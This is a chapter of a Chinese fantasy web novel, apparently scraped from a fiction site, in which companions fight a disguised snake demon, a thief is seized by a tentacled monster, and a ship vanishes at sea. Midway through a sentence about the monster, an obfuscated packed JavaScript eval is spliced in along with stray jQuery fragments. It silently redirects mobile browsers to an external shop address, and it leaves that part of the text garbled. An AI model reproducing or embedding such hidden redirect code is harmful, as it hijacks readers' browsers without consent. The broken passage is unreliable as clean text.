文趣网 > 其他小说 > 花孔雀的心尖牛 > 96. 鲛人(六)
    “你是——啊!”

    “别过去!”

    祁云耀话音才未落,耳垂便被谢重楼骤然张口咬住。他吃痛惊呼一声,下意识缩紧了脖子。

    身侧的贼小七却半点未曾察觉身边异样,整个人像是被蛊惑心神般,脚步僵硬,一步一步缓缓朝着床榻上那少女挪去,唇间无意识地轻轻喃喃:“小箱子?”

    下一瞬,他的后领被猛地向上一提。贼小七身形骤然踉跄一下,而混沌的神志瞬间被拽回清明。

    寒意顺着脊背爬满全身,他满是后怕地连连后退数步,径直躲到祁云耀身后,蜷缩着死死攥着对方的衣摆,如临大敌地喃喃自语:

    “不对劲!不对劲!我刚才明明看见在床上的人是小箱子!她……她绝对有问题!”

    伪装被当场戳破,少女骤然发出一声娇怯的惊叫,慌忙蜷起身子缩回床幔后。层层垂落的床帘遮住了她大半身形,只露出一双看似无辜的红眸,眉头蹙起,惶恐无措的哭叫着:

    “你们究竟是谁呀?别过来!我好害怕!父皇!父皇你在哪里!”

    她嘴上哭喊着惊惧无助,那双泛红的眼眸里却毫无惧色,一瞬不瞬的紧紧锁定门口伫立的两人。

    谢重楼早已振翅落回祁云耀头顶,整个身子低伏紧绷,小眼睛冷冷睨着床榻上矫揉造作的少女,眸光不善。尖利的爪尖时不时轻轻抓挠祁云耀的头皮发根,像是想要警醒,却又忌惮着什么不敢轻易开口。

    祁云耀亦是凝望着帘后少女。

    他只觉这张脸庞莫名眼熟,却又想不起半分过往。头顶反复传来的刺痛时刻警醒着,让他彻底压下所有上前试探的念头。索性全然无视床榻上惊呼不止自娱自乐的少女,抬步侧身,几步利落远远绕过床沿,打算从房间另一侧的出口离开。

    贼小七连忙紧随其后,脚步仓促,目光却频频向后回望,去看那诡异少女。

    就在手刚触碰到门板的刹那,身后骤然传来少女尖锐急促的尖叫:

    “等一下!等一下啊!你们是玉虚来的修士,对不对!你们不是该将什么东西送给我妈!”

    话音落,少女连滚带爬地掀帘下床,眼眶瞬间泛红,大颗大颗的泪珠滚滚坠落。

    那些泪水落出眼眶的瞬间便凝作圆润莹白的珍珠,噼里啪啦砸在柔软地毯上,发出闷声细碎的声响。

    贼小七见状心头顿时动摇,脑中不由自主浮现出小岛之上那鲛人所言的任务,他转头看向祁云耀,眼神迟疑不定,语气满是犹豫:“小公子,她……”

    “别管。”

    祁云耀眼皮微微抽跳,几乎是用尽全身力气才强压下那尖叫出声的欲望。

    无他,谢重楼几乎是要将他头皮硬生生掀飞了。

    他按捺住那种不断倒抽冷气的痛苦,伸手缓缓将戒备到已经炸毛的小燕捧到手心避免头顶再被霍霍。

    这下甚至无需多想便足以证明,眼前之人绝非传言中的那位鲛人小主。只是对方为何会出现在这?鲛人小主又去了哪里?他此刻尚且无从猜测。

    “你们怎么可以这样对我!”

    少女拖着哭腔步步逼近,声声哽咽,好似受了天大的委屈。

    祁云耀当机立断,即刻调转脚步,直奔房间另一侧门户,丝毫没有怜香惜玉的自觉。

    “你们如果不帮我,就会永远困死在幻境之中!你们难道不想出去吗!”

    少女的哭声愈发凄切,眸光不善盯着眼前那个不为所动的人,满脸皆是委屈。

    贼小七的心又可耻的动摇了。

    他本就一点都不想继续呆在这片诡异幻境,更忘不了之前追逐他们的无名怪物。

    一想到那凶兽随时可能折返,如果留这娇弱无比的鲛人小姑娘一人在此,大概率会被直接捉住吃掉吧!

    而这少女又张了一双与小箱子几乎一模一样的眼眸,心底便生出几分恻隐。

    他偷偷抬眼瞥向身侧面色不善,实际是还没从那头顶毛快要被小鸟揪断里走出来的祁云耀,又转头回望向身后不停落珠,模样可怜的少女。

    终究那种爱屋及乌的心软还是战胜了一切的疑虑,恍惚间他竟生出此地并无凶险,没人能够伤害他的错觉。

    他鼓起勇气开口,对着祁云耀低声道谢:“谢谢公子搭救,但我还是想要离开幻境,所以——”

    她转头看向少女,语气诚恳:“我们一起走吧,我会尽量保护——”

    话还没说完,方才还泪眼婆娑的少女,忽然就抬起了头,稚嫩的眉眼瞬间褪去所有怯懦,唇角勾起一抹讥讽的嗤笑。

    “你保护我吗?”

    她语气轻蔑,“可是你实在太弱了。跟着你的话,我迟早会被你拖累害死。平心而论的话——我还是更想和天命之子一起走哦。”

    贼小七尚未来得及琢磨这番话里的意思,眼前骤然白光乍闪,周身幻术轰然碎裂。

    少女光洁纤细的细尾彻底褪去伪装,变成一条覆满细密冷鳞、修长狰狞的蛇尾。

    祁云耀早有防备,在蛇尾裹挟凌厉劲风横扫的刹那,伸手极快勾住贼小七的脖颈,猛地俯身下蹲,堪堪避开这致命一击。随即侧身翻滚,利落退至一旁远离少女攻击范围的地带。

    全力扫中的蛇尾狠狠砸中坚硬的墙壁,巨响炸开,瞬间裂开一道纵深狭长,近乎贯穿墙体的可怖裂痕。

    “好久不见。”

    清冷稚嫩的少女声线骤然蜕变,化作一道与容貌全然不符的低沉阴鸷男声,“没想到,你竟然真的又出现了。”

    蛇妖双眸彻底异化,猩红瞳孔收缩成竖瞳,鼻尖微微翕动,嗅问着空气里的气息:“你身上有爱的气味,果然是哪边风大往哪倒,早该把她杀了的!”

    话音未落,他身形如影般疾驰而来,瞬息贴近,尖锐利爪直取祁云耀心口!

    “轰——!”

    瞬间背后倚靠的木门被磅礴灵力震得粉碎。

    “呲呲呲——!”

    利爪狠狠撞上骤然出鞘的细长黑剑,刺耳锐响连绵,发出令人牙酸的噪音。

    谢重楼几乎是瞬间便褪去小鸟形态,恢复真身即刻拔剑格挡,一剑狠狠荡开蛇妖凌厉攻势。

    蛇妖借力落地未稳,另两道凛冽剑光接踵而至,再度将他逼退,几番腾挪闪避,最终只能缩回方才的床榻之上。

    他阴狠抬眸,却见出手之人竟是一名手持双剑,面容憨厚的半仙。

    “宗主?”

    与此同时,两道身影从破碎的破门之外闪身而入。

    阿玉望着眼前的蛇妖,神色惊疑不定。

    “哎哟、”爱眉眼轻挑,唇角噙着肆意嘲弄的笑:“怎么宗主大人微服出访连脸皮都不换?都说了这张脸不行的啊,当儿子哪有当老子好,还不如换成你情敌的模样,说不定瞳君一时晃眼还会多看你两眼。”

    “你找死!”

    欲被人戳了逆鳞登时勃然大怒,身形骤闪直扑爱,凌厉杀招顷刻迸发,却被双剑瞬间拦截半截。

    而刹那间,一道黑影鬼魅突袭,强势融进扭打两人。

    谢重楼招招狠戾精准,身形轻盈剑法刁钻,直刺欲的后脊死穴,难得染上浓重杀意。

    三方战局瞬间胶着,杀伐凌厉,灵力妖力肆虐充盈整间殿宇。

    趁着众人缠斗厮杀无暇他顾,一道身影鬼鬼祟祟从角落悄然爬起。

    贼小七屏住呼吸,目光死死紧盯混乱战局,手脚并用地挪向房间最偏僻,也是最远离战圈的那扇后门——他们最初进来的入口。

    这地方太危险了,神仙斗法遭罪的永远是他们这种喽啰。

    他只想尽快逃离,先保住命再去思考那些诡异妖怪的要求。

    一边紧盯战况提防意外,一边飞快伸手拉动门板。

    可就在木门被拉开小口的瞬间,场内所有缠斗的人影骤然齐齐一顿,或是冰冷或是惊愕的目光尽数锁定在他身上。

    贼小七被这突如其来的集体注视吓得浑身一颤,不敢多看,着急忙慌抬脚便要朝外逃。可预想中空旷通畅的走廊并未在身后,他先是撞上一整片柔软湿冷的阻碍,身形猛地被弹开,而后直直往前扑去。

    预想中的脸面着地并未降临,他甚至都伸出双手准备撑住地面以免自己落得个头破血流的下场,可双手都还未触及地面,一股黏腻腥臭的诡异触感便快一步稳稳托住了他下坠身形。

    贼小七头皮一阵发紧,下意识伸手撑住拖着自己的东西,掌心瞬间触到一片湿滑粘稠。抬手一看,满掌皆是猩红血腥。再低头望去,那拖着自己的湿滑触手被他抓过的地方血色脱落,露出底下的惨白。

    嗡的一声,贼小七脑海瞬间空白。余光里忽然缓缓垂落下一团团乌黑乱发,黑暗缓慢将他吞噬包裹。

    是那怪物!

    怪物缓缓俯身,庞大的身躯将他整个人牢牢圈进怀中,无数触手层层攀附而上,死死裹缠住他的四肢身躯。

    “咯咯——”

    头顶铺下来浓郁腥臭味,窒息般的层层笼罩他。

    贼小七浑身僵硬,紧闭双眼,却又被反转过身,强迫抬头直视近在咫尺的怪物。

    直至此刻避无可避,他才彻底看清怪物乱发遮掩下的真面目——他头大得惊人,黑发包裹之下全部都是疑似头颅的东西,而和他齐平的地方,正对着一个漆黑深邃的硕大空洞,空洞对称着的另一边则是孤零零悬着一只猩红诡异的眼睛,他的瞳孔并非寻常的圆形,而是像层叠山峦般的波浪,眼里看不出情绪,只是静静凝望着他

    “哥哥。”

    沙哑晦涩的低唤声缓缓响起。

    怪物狰狞的嘴缓缓咧开,漆黑口腔内布满层层细密尖利的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671277|196908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    獠牙,骇人至极。

    “哥哥。”

    他再次轻唤出声,语气带着近乎偏执的眷恋,缓缓收紧怀抱,将贼小七死死拥住。

    就在身躯彻底被怪物吞没融合的刹那,自从入水后便开始混沌模糊的记忆,骤然再次变得清明。

    他想起来了。

    他的亲弟弟早就死了!

    小箱子是一只伪装成人,下半身却堆积了数十双触手的怪物!

    -

    与此同时,辽阔东海之上,一艘巨型航船破开万顷碧波,极速前行。

    肖智立在甲板上心绪纷乱,几番踌躇刚要挪步上前想要打断船头那旁若无人交谈的二人,可几番围过去都寻不到半分插话的余地,只能又灰溜溜转回来,一张老脸憋苦不堪,束手无策地再度低头去追逐那被海风肆意吹得翻飞的衣摆,哀叹一声,满心焦灼无处排。

    船檐阴凉之下独自静立一人,玉蝉并未带上其余禅宗弟子,眉眼淡然,静静旁观甲板上纷乱闹剧,岿然不动。

    “你再说一遍!”

    鲛人国师原本就是绝艳姿色,此刻盛怒五官尽数崩乱,纵然失态也难掩风华。

    被他死死扣住双臂的那倒霉天机阁弟子心中万般拉扯,一面惶惶不安,唯恐眼前盛怒美人一怒之下痛下杀手将他活剥吞吃;一面又难以自控沉溺于咫尺容色,眼睛不受控地流连在那双怒极却莫名显得风流含情、水光盈盈的眼上,心中煎熬万分,好不容易才强行控制自身移转目光,而后便落在了那因被牙咬过而充血红润的唇。

    脑袋登时轰然一声响,所有思绪全部断裂,只是心口砰砰狂跳,分不清是惊惧过度还是被那异样的情愫扰乱了心神,浑身上下酥麻麻一片,燥热几乎要将他从里到外烧得冒烟。

    “把话给我说清楚!”

    鲛人国师丝毫未觉,当即厉声大喝,将快要被烧晕过去的天机阁弟子一把提起,双目圆睁目眦欲裂,尖声追问:“你确定那小贼的弟弟是个双腿溃烂残缺,只剩单眼的孩童?另一只眼眶剩下一个漆黑空洞?”

    “是……是的吧!”

    “什么叫‘是的吧?’你当初可不是这样说的!”

    天机阁弟子早已被这又是惊艳又是恐惧的场面搅得眼花缭乱。“呜呼~”一声便彻底软倒在貌美鲛人怀里。

    而那鲛人早习以为常,哐哐哐将人晃醒,然后再度重复那只求被否认真相的对话。

    肖智将这一幕尽收眼底,心底却半分出手相救的念头都无。

    天机阁一向是群龙无首,真论起来他与这名弟子实际上是同辈,眼下压在心头的压根不是这小同门的安危,而是一桩足以撼动整个天灵坊,危及肖家根基的大事!

    他又辗转片刻,终究还是大步一跨,快步蹭到玉蝉身侧,双手局促搓在一起,神色凝重。

    “禅师救命啊!方才那二人对话,您可听出其中有什么门道?”

    玉蝉淡淡瞥他一眼,肖智顿时心虚的移开视线,而后身侧淡淡飘出四个字:

    “因果之道。”

    “细说呢?譬如……譬如说我天灵坊会不会因这场祸事遭受牵连,根基动摇……再说我们老肖家会不会被某些家族而迁怒然后——”

    肖智话说到一半骤然顿住,脸上扯出一抹耐人寻味的讪笑。

    玉蝉又淡淡抬眼扫了他一下,并未接下这番追问,只旋即垂落眼帘,闭口再不言语。

    “禅师发发善心救救我吧!”

    肖智为老不尊般径直屈膝跪倒在地,哀求之色溢于言表,却又难得的恪守了些男女有别的分寸,一双老手只颤巍巍捻住玉蝉禅衣边角,口中尚未来得及哭诉苦衷,转头便见那鲛人国师随手一挥,将那再度陷入昏迷的天机阁弟子甩落在地,眸色不善往这边而来。

    “竟然是跑上岸了!”

    国师咬牙切齿,转瞬便踏至二人跟前。

    “什么东西逃上岸了?”肖智慌忙抬头追问。

    国师脸色一白,眉毛微蹙,像是在思索什么,最终缓缓道出:“‘锁眼’。”

    话音刚落,几人身下这艘巨型航船猛地一滞,仿佛遭无形巨力狠狠撞击,船身剧烈震颤。

    下一瞬,周遭海面陡然翻涌沸腾,海水狂暴翻卷,层层叠叠掀起遮天蔽日的滔天巨浪。

    “这是什么!”肖智惊叫不已。

    “真的幻境要现世了!”

    刹那间,整片海水骤然逆流,滔滔碧波冲天而起,于高空聚集起足以毁天灭地的可怖水云。

    而后轰然砸落。

    待冲击翻天的浪花与水雾尽数散去,海面重归沉寂平稳。

    长空风轻云淡,天光舒朗澄澈,万里碧空无半片浮云,一如寻常平和海景。

    唯独方才漂浮海上的巨型航船,连同船上所有之人,已然消失得无影无踪。